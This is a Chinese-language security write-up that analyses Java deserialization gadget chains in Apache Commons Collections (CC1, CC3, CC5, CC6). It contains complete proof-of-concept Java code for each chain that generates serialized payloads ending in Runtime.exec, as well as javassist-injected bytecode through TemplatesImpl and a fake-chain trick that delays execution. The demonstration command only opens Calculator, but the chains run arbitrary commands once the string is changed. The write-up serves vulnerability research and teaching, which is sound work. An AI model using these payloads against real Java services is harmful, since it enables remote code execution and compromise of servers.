Apache Commons是Apache开源的Java通用类项目在Java中项目中被广泛的使用,Apache Commons当中有一个组件叫做Apache Commons Collections,主要封装了Java的Collection(集合)相关类对象
通过接口实现查询,能获取到 ConstantTransformer、invokerTransformer、ChainedTransformer、TransformedMap 这些类均实现了 Transformer接口
官网:http://commons.apache.org/proper/commons-collections/
Github:https://github.com/apache/commons-collections
作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发,而正是因为在大量web应用程序中这些类的实现以及方法的调用,导致了反序列化用漏洞的普遍性和严重性。Apache Commons Collections中有一个特殊的接口,其中有一个实现该接口的类可以通过调用Java的反射机制来调用任意函数,叫做InvokerTransformer
。
环境:JDK1.7、commons-collections-3.1-3.2.1
漏洞点存在于
commons-collections-3.1-src.jar:
/org/apache/commons/collections/functors/InvokerTransformer.java
在 InvokerTransformer 类的transform方法中使用了反射,且反射参数均可控,所以我们可以利用这处代码调用任意类的任意方法
接下来我们需要利用反射调用恶意方法比如命令执行:Runtime
.
getRuntime
().
exec
但是得想办法构造出反射调用,类似下面的方式:
import java.io.IOException;
public class ExecuteCMD {
public static void main(String [] args) throws IOException{
// 普通命令执行
Runtime.getRuntime().exec(new String [] { "deepin-calculator" });
// 通过反射执行命令
try{
Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(
Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),
new String [] { "deepin-calculator" }
);
} catch(Exception e) {
e.printStackTrace();
}
}
}
所以我们需要找到一处可以循环调用 transform 方法的地方来构造反射链
在commons-collections-3.1.jar!/org/apache/commons/collections/functors/ChainedTransformer.class
中有合适的transform方法,对 iTransformers 数组进行了循环遍历,并调用其元素的 transform 方法
所以我们可以构造上文提到的反射调用链,将 ChainedTransformer 的 Transformer 属性按照如下构造:
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open /System/Applications/Calculator.app" })
};
数组第一个的ConstantTransformer 类执行 transform 方法后,会返回一个构造对象时传入的参数,在这里就是 Runtime.class
在构造好这些后,我们现在需要寻找可以调用 ChainedTransformer.transform() 方法的类
网上公开的主要有两条链: TransformedMap 和 LazyMap 这两个利用链
ysoserial中的cc1使用的是LazyMap类,调用链为:
sun.reflect.annotation.AnnotationInvocationHandler.readObject()
-> memberValues.entrySet()
-> AnnotationInvocationHandler.invoke()
-> memberValues.get() => LazyMap.get()
-> factory.transform() => ChainedTransformer.transform()
-> 反射构造Runtime.getRuntime().exec()
使用 TransformedMap类的调用链为:
sun.reflect.annotation.AnnotationInvocationHandler.readObject()
-> memberValue.setValue() => TransformedMap.setValue() => TransformedMap.checkSetValue()
-> valueTransformer.transform() => ChainedTransformer.transform()
-> 反射构造Runtime.getRuntime().exec()
LazyMap是Commons-collections 3.1提供的一个工具类,是Map的一个实现,主要的内容是利用工厂设计模式,在用户get一个不存在的key的时候执行一个方法来生成Key值,当且仅当get行为存在的时候Value才会被生成。
LazyMap测试代码,在get一个不存在的key的时候执行一个方法来生成Key值,下面的代码运行结果会调用transform()输出”leon”:
public class Test{
public static void main(String[] args) throws Exception {
Map targetMap = LazyMap.decorate(new HashMap(), new Transformer() {
public Object transform(Object input) {
return "leon";
}
});
System.out.println(targetMap.get("hhhhhhhh"));
}
}
继续看调用链,在 LazyMap:get() 中发现调用了 transform 方法,且前面的 factory 可控,只需将factory 设置为 ChainedTransformer 即可触发ChainedTransformer.transform(),所以我们继续搜下哪里调用了这个 get 方法
调用示意图:
在 AnnotationInvocationHandler 类的 invoke 方法中,我们可以看到有 get() 方法调用,且 this.memberValues 可控,将memberValues设置为LazyMap,这样就可以成功触发memberValues.get() => LazyMap.get()
调用示意图:
我们知道Proxy动态代理机制下被代理的类通过调用动态代理处理类(InvocationHandler
)的invoke
方法获取方法执行结果,通过动态代理,我们就可以触发这个 invoke 方法
所以我们可以利用Proxy动态代理AnnotationInvocationHandler,触发它的 invoke 方法,进而达成后续的调用链:
AnnotationInvocationHandler.invoke()
-> memberValues.get() => LazyMap.get()
-> factory.transform() => ChainedTransformer.transform()
-> 反射构造Runtime.getRuntime().exec()
然后我们回到反序列化的触发处:AnnotationInvocationHandler.readObject()
readObject
方法调用了memberValues.entrySet函数,在动态代理下会先调用invoke函数,最终达成了完整的利用链:
public class CC1_LazyMap {
public static Object generatePayload() throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open /System/Applications/Calculator.app" })
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("value", "leon");
//factory.transform() => ChainedTransformer.transform()
Map outmap = LazyMap.decorate(innermap,transformerChain);
//通过反射获得AnnotationInvocationHandler类对象
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//通过反射获得cls的构造函数
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
//这里需要设置Accessible为true,否则序列化失败
ctor.setAccessible(true);
//通过newInstance()方法实例化对象
InvocationHandler handler = (InvocationHandler)ctor.newInstance(Retention.class, outmap);
Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),handler);
Object instance = ctor.newInstance(Retention.class, mapProxy);
return instance;
}
public static void main(String[] args) throws Exception {
payload2File(generatePayload(),"obj");
}
public static void payload2File(Object instance, String file)
throws Exception {
//将构造好的payload序列化后写入文件中
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));
out.writeObject(instance);
out.flush();
out.close();
}
}
同样的,先找能可控调用ChainedTransformer.transform() 方法的类,该类中有3个方法均调用了 transform(),分别是 transformKey()、transformValue()、checkSetValue() ,且类名均可控:
接下来我们需要寻找重载了readObject
方法的类且该readObject
方法调用了上述其中之一可以触发调用 transform() 的方法,这样就可以构成完整的反序列化rce链
transformKey() 和 transformValue() 在put公开方法中可以可控调用,但是寻找readObject
方法中调用了的条件比较苛刻
再看checkSetValue() 方法,注释说当调用该类的 setValue方法时,会自动调用 checkSetValue 方法,该类 setValue 方法继承自父类的AbstractInputCheckedMapDecorator ,我们看其父类代码:
一直跟进发现最终调用了 Map.setValue() 方法,所以现在只需要找到一处 readObject 方法,只要它调用了 Map.setValue() 方法,即可完成整个反序列化链,相对于寻找 TransformedMap.put() 方法方便了许多。
我们可以在 AnnotationInvocationHandler 类的 readObject 方法中看到 setValue 方法的调用:
但是得先通过if判断,其中需要关注的就是 clazz、object 两个变量的值。实际上, clazz 的值只与 this.type 有关; object 只与 this.memberValues 有关,所以我们转而关注构造函数:
在构造函数中,程序要求我们传入的第一个参数必须继承 java.lang.annotation.Annotation 接口。而在 Java 中,所有的注解实际上都继承自该接口,所以我们第一个变量传入一个JDK自带注解,这样第二个 Map 类型的变量也可以正常赋值
实际上,并不是将 this.type设置成任意注解类都能执行 POC,参考七月火师傅的结论:
网络上很多分析文章将 this.type 设置成 java.lang.annotation.Retention.class ,但是没有说为什么这个类可以。而在调试代码的过程中,我发现这个问题和注解类中有无定义方法有关。只有定义了方法的注解才能触发 POC 。例如 java.lang.annotation.Retention、java.lang.annotation.Target 都可以触发,而 java.lang.annotation.Documented 则不行。而且我们 POC 中, innermap 必须有一个键名与注解类方法名一样的元素。而注解类方法返回类型将是 clazz 的值。
最后poc如下:
public class CC1_TransformedMap {
public static Object generatePayload() throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open /System/Applications/Calculator.app" })
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("value", "leon");
Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
//通过反射获得AnnotationInvocationHandler类对象
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//通过反射获得cls的构造函数
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
//这里需要设置Accessible为true,否则序列化失败
ctor.setAccessible(true);
//通过newInstance()方法实例化对象
Object instance = ctor.newInstance(Retention.class, outmap);
return instance;
}
public static void main(String[] args) throws Exception {
payload2File(generatePayload(),"obj");
}
public static void payload2File(Object instance, String file)
throws Exception {
//将构造好的payload序列化后写入文件中
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));
out.writeObject(instance);
out.flush();
out.close();
}
}
环境:JDK1.7、commons-collections-3.1-3.2.1
CommonsCollections3的前半段触发的利用链跟CommonsCollections1是一样的,主要对后半段进行分析
TemplatesImpl
TemplatesImpl 类位于com.sun.org
.apache.xalan.internal.xsltc.trax.TemplatesImpl
,实现了 Serializable
接口,因此它可以被序列化,我们来看一下漏洞触发点。
首先我们注意到该类中存在一个成员属性 _class
,是一个 Class 类型的数组,数组里下标为_transletIndex
的类会在 getTransletInstance()
方法中使用 newInstance()
实例化。
newTransformer()
方法调用了 getTransletInstance()
方法:
其中 defineTransletClasses()
在 getTransletInstance()
中,如果 _class
不为空即会被调用:
可以看到其中调用了defineClass
函数,这里简单介绍一下:
public class StaticBlockTest {
}
public class Cracker {
public static byte[] generate(){
try {
String code = "{java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");}";
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(StaticBlockTest.class.getName());
clazz.setName("demo");
clazz.makeClassInitializer().insertAfter(code);
return clazz.toBytecode();
// ...
}
public static void main(String[] args) {
byte[] clazz = generate();
DefiningClassLoader loader = new DefiningClassLoader();
Class cls = loader.defineClass("demo",clazz);// 从字节数组中恢复类
try {
cls.newInstance(); // 实例化该类时会自动调用静态块内的代码
}
// ...
}
}
Java提供了ClassLoader从bytes数组中还原Class的方法,defineClass函数就是完成这一过程的函数。
理论上,如果代码中使用了这种方式,且byte数据的内容可控,我们可以执行任意Java代码
这里就用到了Java类的另一个特性,static block在类载入时自动执行块内的代码。我们可以通过javassist对静态块注入任意代码,该类被恢复并载入时会调用注入的代码,后文的利用链主要就是用到了这两个知识点
于是我们有了defineTransletClasses
还原出类,getTransletInstance
进行实例化,那么只需要构造一个合适的_bytecodes
即可执行任意Java代码,还有一点需要注意,植入的templates._bytecodes
数组,其最终还原的对象父类为com.sun.org
.apache.xalan.internal.xsltc.runtime.AbstractTranslet
在 SAX API 中提供了一个过滤器接口 org.xml.sax.XMLFilter
,XMLFilterImpl 是对它的缺省实现,使用过滤器进行应用程序开发时,只要继承 XMLFilterImpl,就可以方便的实现自己的功能。
com.sun.org
.apache.xalan.internal.xsltc.trax.TrAXFilter
是对 XMLFilterImpl 的实现,在其基础上扩展了 Templates/TransformerImpl/TransformerHandlerImpl 属性,
TrAXFilter 在实例化时接收 Templates 对象,并调用其 newTransformer 方法,这就可以触发 TemplatesImpl 的攻击 payload 了
现在我们需要实例化 TrAXFilter,我们当然可以使用 InvokerTransformer 反射拿到 Constructor 再 newInstance,但是同样地可以直接使用另外一个 Transformer:InstantiateTransformer
Commons Collections 提供了 InstantiateTransformer 用来通过反射创建类的实例,可以看到 transform()
方法实际上接收一个 Class 类型的对象,通过 getConstructor
获取构造方法,并通过 newInstance
创建类实例。
到这关键方法都介绍了一遍,只需要串成一个完整的链:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Proxy(LazyMap).extrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
(TrAXFilter)Constructor.newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
(PayLoad)newInstance()
Runtime.exec()
前半段链cc1已经介绍过了,这里是一样的,利用动态代理触发AnnotationInvocationHandler.invoke(),进而触发LazyMap.get()
这里factory为传入的ChainedTransformer,所以继续调用ChainedTransformer.transform()
然后循环调用transform,触发InstantiateTransformer.transform()
接下来利用 InstantiateTransformer 实例化 TrAXFilter 类,并调用 TemplatesImpl 的 newTransformer 方法实例化恶意类字节码触发漏洞,与前面介绍的各个类就串联成了一个完整的利用链
值得一提的是用到了javassist动态创建字节码,或者也可以直接class文件读取字节码,前者明显方便很多
我们已经知道了两种Java的任意代码执行的构造方式:
cc3的poc:
public class TrAXFilter_Exploit {
public static void main(String[] args) throws Exception{
//1.先创建恶意类
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass tempExploitClass = pool.makeClass("evil");
//一定要设置父类,为了后续顺利
tempExploitClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
//写入payload,生成字节数组
String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");";
tempExploitClass.makeClassInitializer().insertBefore(cmd);
byte[] exploitBytes = tempExploitClass.toBytecode();
//2.new一个TemplatesImpl对象,修改tmpl类属性,为了满足后续利用条件
TemplatesImpl tmpl = new TemplatesImpl();
//设置_bytecodes属性为exploitBytes
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(tmpl, new byte[][]{exploitBytes});
//一定要设置_name不为空
Field _name = TemplatesImpl.class.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(tmpl, "leon");
//_class为空
Field _class = TemplatesImpl.class.getDeclaredField("_class");
_class.setAccessible(true);
_class.set(tmpl, null);
//3.构造chain,封装进LazyMap
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{tmpl}
)
};
ChainedTransformer chain = new ChainedTransformer(transformers);
HashMap innermap = new HashMap();
LazyMap lazymap = (LazyMap)LazyMap.decorate(innermap,chain);
//4. 拿到cons,先做一个h1,h1.memberValues = lazymap
final Constructor cons = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
InvocationHandler h1 = (InvocationHandler) cons.newInstance(Target.class,lazymap);
// 创建LazyMap的动态代理类实例
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),h1);
// 创建一个AnnotationInvocationHandler实例h2,并且把刚刚创建的代理赋值给h2.memberValues
InvocationHandler h2 = (InvocationHandler)cons.newInstance(Target.class, mapProxy);
ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File("cc3.ser")));
fout.writeObject(h2);
}
}
环境:JDK1.8、commons-collections-3.1-3.2.1
JDK 在 1.8 之后对 AnnotationInvocationHandler 类进行了修复,所以在 JDK 1.8 版本需要找出能替代 AnnotationInvocationHandler 的新的可以利用的类
所以这个对象需要满足:
TiedMapEntry有一个map类属性,且在getValue处调用了map.get函数。同时toString、hashCode、equals均调用了getValue函数,这里关注toString函数:
public Object getValue() {
return map.get(key);
}
public boolean equals(Object obj) {
if (obj == this) {
return true;
}
if (obj instanceof Map.Entry == false) {
return false;
}
Map.Entry other = (Map.Entry) obj;
Object value = getValue();
return
(key == null ? other.getKey() == null : key.equals(other.getKey())) &&
(value == null ? other.getValue() == null : value.equals(other.getValue()));
}
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
public String toString() {
return getKey() + "=" + getValue();
}
接下来需要找到一个可以触发TiedMapEntry.toString
的类
BadAttributeValueExpException
BadAttributeValueExpException类的readObject
函数会自动调用类属性的toString
函数,构造的时候把val属性设置为TiedMapEntry即可,因为是private
属性,需要反射构造
这条链后半段就是cc1的TransformedMap,调用链如下:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
前半段就是前文介绍的,反序列化时BadAttributeValueExpException.readObject()去调用TiedMapEntry.toString(),toString会调用getValue方法,getValue调用LazyMap.get(),最终完成反序列化链,poc如下:
public class BadAttributeValueExpException_Exploit {
public static void main(String[] args) throws Exception{
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})
};
Transformer chain = new ChainedTransformer(transformers_exec);
HashMap innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap,chain);
TiedMapEntry tmap = new TiedMapEntry(lazyMap, 123);
BadAttributeValueExpException payload = new BadAttributeValueExpException(null);
Field val = BadAttributeValueExpException.class.getDeclaredField("val");
val.setAccessible(true);
val.set(payload,tmap);
ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File("cc5_InvokerTransformer.ser")));
fout.writeObject(payload);
}
}
其实cc3将前半段改为BadAttributeValueExpException.readObject-> TiedMapEntry.toString-> LazyMap.get
调用,又可以组成一条新链,poc就不放了,利用链如下:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
(TrAXFilter)Constructor.newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
(PayLoad)newInstance()
Runtime.exec()
先给出利用链:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
TiedMapEntry.getValue()
LazyMap.get()
InvokerTransformer.transform()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
Class.newInstance()
Runtime.exec()
在TiedMapEntry的getValue中会将key参数传入,之后transform也会将key传递
在cc1中介绍过,InvokerTransformer.transform利用反射调用,这里直接input就是传入的key值,也就是TemplatesImpl类,利用反射调用直接调用TemplatesImpl.newTransformer,进而回到我们在cc3介绍过的TemplatesImpl类下的一系列触发链,最后调用defineClass进行字节码执行。
poc:
public class TemplatesImpl_Exploit {
public static void main(String[] args) throws Exception{
//1.先创建恶意类
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass tempExploitClass = pool.makeClass("evil");
//一定要设置父类,为了后续顺利
tempExploitClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
//写入payload,生成字节数组
String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");";
tempExploitClass.makeClassInitializer().insertBefore(cmd);
byte[] exploitBytes = tempExploitClass.toBytecode();
//2.new一个TemplatesImpl对象,修改tmpl类属性,为了满足后续利用条件
TemplatesImpl tmpl = new TemplatesImpl();
//设置_bytecodes属性为exploitBytes
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(tmpl, new byte[][]{exploitBytes});
//一定要设置_name不为空
Field _name = TemplatesImpl.class.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(tmpl, "leon");
//_class为空
Field _class = TemplatesImpl.class.getDeclaredField("_class");
_class.setAccessible(true);
_class.set(tmpl, null);
//3.构造InvokerTransformer
InvokerTransformer iInvokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
//InvokerTransformer iInvokerTransformer = new InvokerTransformer("getOutputProperties",new Class[]{},new Object[]{});也可以
HashMap innermap = new HashMap();
LazyMap lazymap = (LazyMap)LazyMap.decorate(innermap,iInvokerTransformer);
TiedMapEntry tmap = new TiedMapEntry(lazymap, tmpl);
BadAttributeValueExpException payload = new BadAttributeValueExpException(null);
Field val = BadAttributeValueExpException.class.getDeclaredField("val");
val.setAccessible(true);
val.set(payload,tmap);
ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File("cc5_TemplatesImpl.ser")));
fout.writeObject(payload);
}
}
在 CC5 中介绍TiedMapEntry
的时候之前看到了hashcode
方法也会调用 getValue()
方法然后调用到其中 map 的 get 方法触发 LazyMap,现在需要找到如何去触发TiedMapEntry.hashCode
后半段链不变,还是CC1的TransformedMap
链后半部分
在反序列化一个 HashMap 对象时,会调用 key 对象的 hashCode 方法计算 hash 值,也就是HashMap的readObject方法:
但是构造完后发现,在LazyMap.get
方法中会判断不通过,链子会断掉,无法进入ChainedTransformer.transform
我们可以改写一下,将lazyMap中hashmap的put之后的key去掉,这样就可以先执行,然后在反序列化时候再执行一遍,用lazyMap.remove(123)
或者lazyMap.clear()
都行
利用链如下:
ObjectInputStream.readObject()
HashMap.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
poc:
public class HashMap_Exploit {
public static void main(String[] args) throws Exception{
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})
};
Transformer chain = new ChainedTransformer(transformers_exec);
HashMap innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap,chain);
TiedMapEntry tmap = new TiedMapEntry(lazyMap, 123);
HashMap hashMap = new HashMap();
hashMap.put(tmap, "test");
lazyMap.clear();
ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File("cc6_HashMap.ser")));
fout.writeObject(hashMap);
}
}
在向 HashMap push LazyMap 时先给个空的 ChainedTransformer,这样添加的时候不会执行任何恶意动作,put 之后再利用反射将lazymap内部的_itransformer
属性改回到真正的chain
public class fackchain_Exploit {
public static void main(String[] args) throws Exception{
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})
};
Transformer[] fakeTransformer = new Transformer[]{};
//fake chain
Transformer chain = new ChainedTransformer(fakeTransformer);
HashMap innerMap = new HashMap();
//先构造假的chain
Map lazyMap = LazyMap.decorate(innerMap,chain);
TiedMapEntry tmap = new TiedMapEntry(lazyMap, 123);
HashMap hashMap = new HashMap();
hashMap.put(tmap, "test");
//用反射再改回真的chain
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(chain, transformers_exec);
//清空由于 hashMap.put 对 LazyMap 造成的影响
lazyMap.clear();
ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File("cc6_fakechain.ser")));
fout.writeObject(hashMap);
}
}
HashSet的readObject方法会调用map.put,这里map可以控制为HashMap,进而调用HashMap.put
HashMap.put又会去调用HashMap.hash方法对key进行hashCode操作
这里k就是传入的key,所以当我们控制key为TiedMapEntry的key时,就可以触发TiedMapEntry.hashCode,从而回到之前介绍过的利用链上
利用链如下:
ObjectInputStream.readObject()
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform
InvokerTransformer.transform(
Method.invoke()
Class.getMethod()
InvokerTransformer.transform(
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform(
Method.invoke()
Runtime.exec()
当然,到这里只是前半段进行了更改,后半段链子也可以进行替换,比如InstantiateTransformer和TemplatesImpl的利用链,前文也都介绍过,排列组合又是几条利用链
GitHub - frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
深入理解 JAVA 反序列化漏洞
https://xz.aliyun.com/t/8009
https://blog.0kami.cn/2019/10/24/java/study-java-deserialized-commonscollections3-1/
https://su18.org/post/ysoserial-su18-2/